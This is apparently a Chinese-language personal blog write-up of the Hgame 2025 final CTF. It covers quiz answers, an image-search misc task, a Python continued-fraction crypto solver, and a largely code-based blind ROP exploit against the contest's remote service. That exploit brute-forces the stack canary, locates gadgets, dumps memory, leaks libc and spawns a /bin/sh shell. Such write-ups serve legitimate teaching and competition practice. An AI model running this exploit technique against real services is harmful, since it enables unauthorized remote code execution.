Featured image of post Hgame2025_final wp

Hgame2025_final wp

坐牢

misc

Vidar知识大问答

1.Vidar的创立年份? D - D.2008

2.Vidar刚创立时的名字? A - A.HDUISA

3.Hgame的全名? C C.HCTFGame

4.Vidar现在的队长是谁? B - A.z211x B.张博文

5.去年的第三次新生培训主题是什么? A - (看群) A.Re & Pwn

6.以下对vidar描述错误的是? D - D.芬里尔的手下败将

7.以下哪个不是Vidar的成员?B(看官网) B.loging

8.你身边有喜欢画画的同学,你会推荐ta来vidar做美工吗?A - A.会

9.杭电有几栋教学楼(下沙主校区)?B - B.11

10.关注公众号”安协小天使“发送信息”Hgame FINAL“ C - Hgame{DACBADBABC} 不要爆破平台呦~~
不是,为什么队长名是本名。。

Railway Picture

原图百度搜图后找到
hgame{hangzhou_keyunzhongxin}

crypto

signin

给deepseek的调教参数(realfield需要python中优化,以及素数判定要防止范围不对):

  1. 根据c和hint反向解出flag内容,
  2. 将realfiled等sage中的函数进行优化替换,使得可以在python中运行解出答案并且时间不会过长

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from decimal import Decimal, getcontext
import random

def is_prime(n, k=5):
    if n <= 1:
        return False
    elif n <= 3:
        return True
    if n % 2 == 0:
        return False
    d = n - 1
    r = 0
    while d % 2 == 0:
        d //= 2
        r += 1
    for _ in range(k):
        a = random.randint(2, min(n - 2, 1 << 20))
        x = pow(a, d, n)
        if x == 1 or x == n - 1:
            continue
        for __ in range(r - 1):
            x = pow(x, 2, n)
            if x == n - 1:
                break
        else:
            return False
    return True

def find_p_q_hint():
    getcontext().prec = 200
    hint_str = '1.9272080389735772625212607491570999634122053'
    hint = Decimal(hint_str)
    
    cf = []
    x = hint
    for _ in range(50):
        a = int(x)
        cf.append(a)
        remainder = x - a
        if remainder == 0:
            break
        x = Decimal(1) / remainder

    def convergents(cf):
        p_prev, p_curr = 1, cf[0]
        q_prev, q_curr = 0, 1
        yield (p_curr, q_curr)
        for a in cf[1:]:
            p_next = a * p_curr + p_prev
            q_next = a * q_curr + q_prev
            p_prev, p_curr = p_curr, p_next
            q_prev, q_curr = q_curr, q_next
            yield (p_curr, q_curr)

    c = 14476572213458615411518126140467642363521556738843670411747622001212459355051860361245525149102951233473362156251201776147334810593975810704636538003548345425341864228858388705
    for p_candidate, q_candidate in convergents(cf):
        if q_candidate < (1 << 63) or q_candidate >= (1 << 64):
            continue
        if p_candidate < (1 << 63) or p_candidate >= (1 << 64):
            continue
        if p_candidate <= q_candidate:
            continue
        if not is_prime(q_candidate):
            continue
        if not is_prime(p_candidate):
            continue
        ratio = Decimal(p_candidate) / Decimal(q_candidate)
        if abs(ratio - hint) < Decimal('1e-10'):
            a = []
            current = c
            valid = True
            for _ in range(10):
                ai = current % p_candidate
                if ai < 0 or ai > 255:
                    valid = False
                    break
                a.append(ai)
                current = current // p_candidate
            if not valid or current != 0:
                continue
            a = a[::-1]
            msg = bytes(a)
            if len(msg) == 10:
                print("Found flag: hgame{" + msg.decode() + "}")
                return

find_p_q_hint()

Found flag: hgame{@_ez_task!}

pwn

Backto2016

没有附件只有远程环境,我们需要通过远程环境盲打

在输入56个‘a’(算上一个换行符)即57个字符的时候发生了溢出报错,同时我们知道这个程序开启了canary,用于我们来判断栈溢出长度,缓冲区即56的长度

寻找stop_gadgets

第一个stop_addr,看起来这一次我们在发送之后成功返回到了某个意想不到的地址
在这一个stop_addr后返回了success!!
同时在经过反复调试以后我们找到了exit的stop_add,将其作为stop_gadget,具体原因可以在下文 杂谈 中得知

寻找common_gadgets

即使有了stop_gadget,原本要导致程序崩溃的地址之后也会崩溃,通用函数libc_csu_init,详情请见CTF github_book ,csu的gadgets允许我们进行6次pop寄存器的指令,我们通过从程序非阻塞地址处(见hints)

遍历去找到可以正确从栈中弹出六次数据的地址
common_gadgets也被我们称为brop_gadgets,但是我们发现根据hint来的话第一个0x400a02就是我你们要想要的gadget——吗?实际上如果我们不去检查会找到一些看似正确的pop地址 后面就是dump地址、找libc、最后ret2libc

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("")
#gdb.attach(io)

libc=ELF("./libc.so.6")

def get_offset():
    i=1
    while 1:
        try:
            io=remote("node1.hgame.vidar.club",31958)
            io.recvuntil("password:\n")
            payload=b'a'*i
            io.sendline(payload)
            data=io.recv()
            io.close()
            if not ("Incorrect password") in data.decode():
                return i
            else:
                i+=1
            
        except EOFError:
            io.close()
            print("success,overflow")
            return i

def get_stop(canary):
    old_addr=0x4007b2
    length = 56
    while True:
        # time.sleep(0.5)
        print(hex(old_addr))
        try:
            io.recvuntil(b"password:\n")
            payload=b'a'*(length)+p64(canary)+b'a'*8+p64(old_addr)
            io.send(payload)
            out_put=io.recvline()     
            print(out_put)
            time.sleep(0.2)
            if b"killed" in out_put :
                old_addr+=1
            else:
                print("you find stop gadget!-->",hex(old_addr))
                return old_addr
        except EOFError:
           old_addr+=1
           io.close()
def with_canary(io):
    canary = b'\x00'
    for i in range(7):
        for j in range(256):
            payload = b'a' * 56 + canary + bytes([j])
            io.recvuntil(b"password:\n")
            io.send(payload)
            out_put = io.recvline()
            print(out_put)
            # Check if 'Incorrect password,' is in the output, regardless of other lines
            if b'Incorrect password,' in out_put:
                canary += bytes([j])
                print(f"[+] Found byte {i+1}: 0x{j:02x}")
                break  # Continue to the next byte
            else:
                print(f"try again! {i}:{j}")
    print("canary is ", hex(u64(canary)))
    return canary

def common_gadgets_addr(canary,stop_addr):
    old_addr=0x400a80 #通过hints跳过一些阻塞地址
    while True:
        old_addr+=1
        time.sleep(0.2)
        payload=b'a'*56+p64(canary)+p64(old_addr) 
        payload+=p64(old_addr) #前面用来一个覆盖了
        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) #传参
        payload+=p64(stop_addr) #返回到exit退出
        payload+=p64(0) #看以往题解得知这里加零是为了防止程序异常崩溃,就当return 0好了
        try:
            io.send(payload)
            out_put=io.recvuntil(b"password:")
            print(out_put)
            if b"killed" in out_put:
                log.info("bad: 0x%x" % old_addr)
            else:
                log.info("you find possible common gadget!--> 0x%x" % old_addr)
                payload=b'a'*56+p64(canary)+p64(old_addr)
                payload+=p64(old_addr)
                payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
                io.send(payload)
                out_put=io.recvuntil(b"password:")
                if b"killed" in out_put: #这里是因为如果brop的gadgets地址是正确的,程序返回到主程序运行后崩溃
                    log.info("true brop gadget:0x%x" % old_addr)
                    return old_addr
        except:
            log.info("bad: 0x%x" % old_addr)

def get_puts_plt(canary,stop_gadget,brop_gadget):
    pop_rdi = brop_gadget + 9  # pop rdi; ret; 与pop rbx固定偏移9字节,即pop r15的后两个字节 5f c3
    old_addr=0x400700 #缩小范围,肯定在stop_gadget附近
    while True:
        time.sleep(0.2)
        old_addr+=1
        payload=b'a'*56+p64(canary)+p64(0)
        payload+=p64(pop_rdi)
        payload+=p64(0x400000) #打印出0x400000地址处内容,程序头地址,由于程序头魔数,方便判断
        payload+=p64(old_addr)
        payload+=p64(stop_gadget)
        io.send(payload)
        out_put=io.recvuntil(b"password:")
        #这里是ELF文件的头部魔数,通过是否输出ELF文件头部来判断是否找到plt地址
        if b"\x7fELF" in out_put:
            log.info("puts@plt address: 0x%x" % old_addr-1)
            return old_addr-1
        else:
            log.info("bad: 0x%x" % old_addr)


#dump程序的原理puts函数是通过\x00截断的,并且末尾会加上\x0a换行,我们为了
#防止特殊情况要进行替换,最后读到\x0a的话大概率就是\n
def dump(stop_gadget,canary,brop_gadget,puts_plt,start_addr,end_addr):
    pop_rdi = brop_gadget + 9
    rusult = b""
    while start_addr < end_addr:
        sleep(0.05)
        payload=b'a'*56+p64(canary)+p64(0x12345678)
        payload+=p64(pop_rdi)
        payload+=p64(start_addr)
        payload+=p64(puts_plt)
        payload+=p64(stop_gadget)
        io.send(payload)
        data=io.recvline()
        io.recvuntil(b"password:")
        io.recvline()
        if data == b"\n":
            data=b"\x00"
        elif data[-1] == 0x0A:
            data=data[:-1]
        log.info("leaking: 0x%x --> %s" % (start_addr, data.hex()))
        rusult+=data
        start_addr+=len(data)
    return rusult


#打印出puts地址后去找libc
def get_puts_addr(buf_size, canary, stop_addr, gadgets_addr, puts_plt, puts_got):
    pop_rdi = gadgets_addr + 9
    payload = b"a" * buf_size + p64(canary) + p64(0)
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_addr)
    io.send(payload)
    io.recvline()
    data = u64(data[:-1] + b"\x00\x00")
    out_put=io.recvuntil(b"password:")
    puts_addr = u64(data[:-1].ljust(8, b"\x00"))
    log.info("puts address: 0x%x" % puts_addr)
    return puts_addr



#size=get_offset()
#size=56
io=remote("node1.hgame.vidar.club",31968)
new_canary=u64(with_canary(io))

#stop_addr=get_stop(new_canary)
stop_gadget=0x4007c0

#brop_gadget=common_gadgets_addr(new_canary,stop_gadget)
brop_gadget=0x400b2a

#puts_plt=get_puts_plt(new_canary,stop_gadget,brop_gadget)
puts_plt=0x400715

"""
code_bin_file=dump(stop_gadget,new_canary,brop_gadget,puts_plt,0x400000,0x410000) #还可以从0x600000左右dump data段
with open("code.bin","wb") as f:
    f.write(code_bin_file)
    f.close()
"""
puts_got=0x602018

puts_addr=get_puts_addr(56,new_canary,stop_gadget,brop_gadget,puts_plt,puts_got)

puts_offset=libc.symbols["puts"]
libc_base=puts_addr-puts_offset
log.success("libc_base:"+hex(libc_base))
system_addr=libc_base+libc.symbols["system"]
binsh_addr=libc_base+0x180543 #/bin/sh

payload=b'a'*56+p64(new_canary)+p64(0)
payload+=p64(brop_gadget+9)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
payload+=p64(stop_gadget)
io.sendline(payload)

io.interactive()
#print("offset is ",size)

hgame{N3ver_w1ll_I_pl4y_blind_aga1n_QAQ}

杂谈

虽然Brop似乎在这样看下来以后就是各种公式化的blind attack,但是实际上在比赛的时候我并未完整做出来

stop_addr

比赛的时候在试stop_addr的时候出了很多问题,浪费了大量时间
stop_gadget到底是个什么呢,我们在brop提出的论文章可以一窥程序运行结构,一个能让程序继续挂起的,类似死循环或者阻塞的代码片段就是stop_addr
也就是说,stop应该是一个plt表上的函数,在2016HCTF的brop题目中我们也可以知道这一点。
那么显然,stop_gadget不止一个,而如何精心选择一个stop_gadget显然是很重要的,因为如果选择一个不好的阻塞的函数可能会影响我们继续爆破和利用函数,尤其在一个更大更复杂的实际情况中,stop_gadget最好就是一个不会使得程序崩溃的返回地址,这里就选择了exit的地址作为这个stop_gadget

欸👆有人可能要问了,为什么我们不回到main函数呢?
仔细思考之后,虽然main作为程序入口函数,在程序中唯一,而且一般情况下子函数绝不会去调用main函数,但是main函数执行前会初始化一些如__libc_csu_init的函数,所以main并不能作为一个很好的stop。因为它会拦截一次对子进程的正常结束,我们需要子进程结束的回显来进行交互,所以我们不能选其作为stop_gadget

本博客已稳定运行
发表了36篇文章 · 总计9万5千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...